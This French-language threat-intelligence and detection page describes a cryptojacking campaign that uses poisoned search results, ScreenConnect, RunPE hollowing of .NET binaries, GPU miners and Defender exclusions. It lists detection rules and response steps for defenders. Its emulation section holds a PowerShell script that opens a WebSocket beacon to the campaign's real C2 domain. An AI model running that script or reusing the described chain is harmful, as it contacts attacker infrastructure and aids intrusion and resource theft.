Des résultats de recherche empoisonnés au minage GPU : une campagne de cryptojacking utilisant ScreenConnect et des utilitaires .NET
Detection stack
- AIDR
- Alert
- ETL
- Query
Résumé
Cette campagne utilise l’empoisonnement SEO et des résultats de recherche d’assistants vocaux manipulés pour inciter les utilisateurs à télécharger de faux outils de surveillance matérielle. Les installateurs trojanisés contiennent une DLL malveillante qui se charge dans une application légitime et déploie silencieusement ScreenConnect. Les attaquants utilisent ensuite ScreenConnect pour lancer un injecteur RunPE personnalisé qui creuse des binaires .NET signés par Microsoft et injecte une charge utile de la prochaine étape. L’étape finale télécharge des outils de minage de GPU tels que gminer, lolMiner, et SRBMiner-MULTI, puis maintient la persistance par le biais de tâches planifiées, de clés Run du registre et d’un raccourci de démarrage. Le malware ajoute également des exclusions à Windows Defender pour réduire les chances de détection.
Enquête
Les chercheurs de Microsoft Defender ont cartographié toute la chaîne d’infection, y compris la méthode de chargement de la DLL, l’abus de ScreenConnect comme outil de gestion à distance, et l’utilisation d’un chargeur RunPE personnalisé nommé SimpleRunPE.exe. Les analystes ont récupéré les arguments en ligne de commande de ScreenConnect, identifié la liste des binaires .NET signés utilisés pour le creusement de processus, et documenté un point de commande et de contrôle protégé par un certificat TLS épinglé. L’enquête a également découvert une infrastructure de support comme des domaines malveillants, des adresses IP, et des détails de fournisseur DNS liés à la campagne.
Atténuation
Les défenseurs doivent activer la protection livrée depuis le cloud, appliquer les règles de réduction de la surface d’attaque, bloquer les fichiers exécutables qui ne répondent pas aux critères de réputation, de prévalence, ou d’âge, et activer la protection Web et réseau dans Microsoft Defender pour Endpoint. Les outils de gestion à distance tels que ScreenConnect doivent être désactivés là où ils ne sont pas nécessaires ou étroitement contrôlés là où ils sont requis, avec un contrôle des tâches planifiées non autorisées et des entrées Run suspectes du registre. Toutes les exclusions Windows Defender ajoutées par le malware doivent être supprimées immédiatement, et les domaines et adresses IP malveillants identifiés doivent être bloqués.
Réponse
If RuntimeHost.exe or SimpleRunPE.exe est trouvé en fonctionnement à partir de répertoires de cache cachés, isolez immédiatement l’hôte affecté, terminez la session ScreenConnect concernée, et enlevez tous les mécanismes de persistance, y compris les tâches planifiées, les clés Run, et les raccourcis de démarrage. Bloquez le domaine minemine.gleeze.com et les adresses IP observées, puis effectuez une recherche dans l’environnement pour les binaires de minage listés et autorun.dll. Enfin, restaurez les protections de Defender et vérifiez les réglages d’exclusion pour tout changement non autorisé.
Flux d’attaque
Détections
Points de persistance possibles [ASEPs – Logiciel/Registre NTUSER] (via registry_event)
Voir
Schtasks pointe vers un répertoire/binaire/script suspect (via cmdline)
Voir
Logiciel d’accès/gestion à distance alternatif (via process_creation)
Voir
Usage suspect de CURL (via cmdline)
Voir
Appels de méthodes .NET suspectes à partir de Powershell (via powershell)
Voir
Changements suspects des préférences de Windows Defender (via powershell)
Voir
Vérifications possibles d’évasion (via powershell)
Voir
Binaire/script suspect dans l’emplacement d’autostart (via file_event)
Voir
IOCs (HashSha256) à détecter : Des résultats de recherche empoisonnés au minage de GPU : Une campagne de cryptojacking exploitant ScreenConnect et les utilitaires Microsoft .NET
Voir
IOCs (SourceIP) à détecter : Des résultats de recherche empoisonnés au minage de GPU : Une campagne de cryptojacking exploitant ScreenConnect et les utilitaires Microsoft .NET
Voir
IOCs (DestinationIP) à détecter : Des résultats de recherche empoisonnés au minage de GPU : Une campagne de cryptojacking exploitant ScreenConnect et les utilitaires Microsoft .NET
Voir
Communication C2 à partir d’un binaire creusé [Connexion réseau Windows]
Voir
Accès à distance persistant et creusement de processus via ScreenConnect et SimpleRunPE [Création de processus Windows]
Voir
Exécution de simulation
Prérequis : Le contrôle préalable de télémétrie et de base doivent avoir été validés.
Raison : Cette section détaille l’exécution précise de la technique de l’adversaire (TTP) conçue pour déclencher la règle de détection. Les commandes et le narratif doivent refléter directement les TTPs identifiés et visent à générer la télémétrie exacte attendue par la logique de détection.
-
Narratif d’attaque & Commandes :
Un attaquant a déjà livré un binaire légitime creusé sur la machine victime. Le binaire initie maintenant un canal C2 persistant via un WebSocket connexion àwss://minemine.gleeze.com:8443/ws. Pour émuler cela, nous utilisons un script PowerShell qui crée unClientWebSocketen .NET, éventuellement définit un rappel de validation de certificat TLS personnalisé (simulant l’épinglage de certificat), et maintient la connexion pour une courte période. -
Script de Test de Régression :
# Simuler la communication C2 depuis un binaire creusé # Exigences : PowerShell 5+ (classes .NET intégrées) $c2Url = 'wss://minemine.gleeze.com:8443/ws' # Créer un client WebSocket $ws = [System.Net.WebSockets.ClientWebSocket]::new() # OPTIONNEL : Appliquer l'épinglage de certificat (accepter uniquement une empreinte digitale spécifique) $allowedThumbprint = 'ABCD1234EF567890ABCD1234EF567890ABCD1234' # placeholder $handler = [System.Net.Http.HttpClientHandler]::new() $handler.ServerCertificateCustomValidationCallback = { param($sender, $cert, $chain, $sslPolicyErrors) $cert.Thumbprint -eq $allowedThumbprint } try { Write-Host "Connexion à l'endpoint C2 $c2Url ..." $ws.ConnectAsync([System.Uri]::new($c2Url), [System.Threading.CancellationToken]::None).Wait() Write-Host "Connexion établie. Envoi de la charge utile beacon..." # Envoyer un beacon dummy (JSON) $payload = '{ "beat": "alive", "ts": "' + (Get-Date).ToString('o') + '" }' $bytes = [System.Text.Encoding]::UTF8.GetBytes($payload) $segment = [System.ArraySegment[byte]]::new($bytes) $ws.SendAsync($segment, [System.Net.WebSockets.WebSocketMessageType]::Text, $true, [System.Threading.CancellationToken]::None).Wait() Start-Sleep -Seconds 10 # Garder le canal ouvert pour une brève période } finally { Write-Host "Fermeture de WebSocket..." $ws.Abort() } -
Commandes de Nettoyage :
# S'assurer que les processus WebSocket en suspens sont terminés Get-Process -Name powershell | Where-Object { $_.MainWindowTitle -match 'WebSocket' } | Stop-Process -Force # Optionnellement supprimer les fichiers temporaires utilisés dans le test Remove-Item -Path "$env:TEMP*C2Simulation*" -Force -ErrorAction SilentlyContinue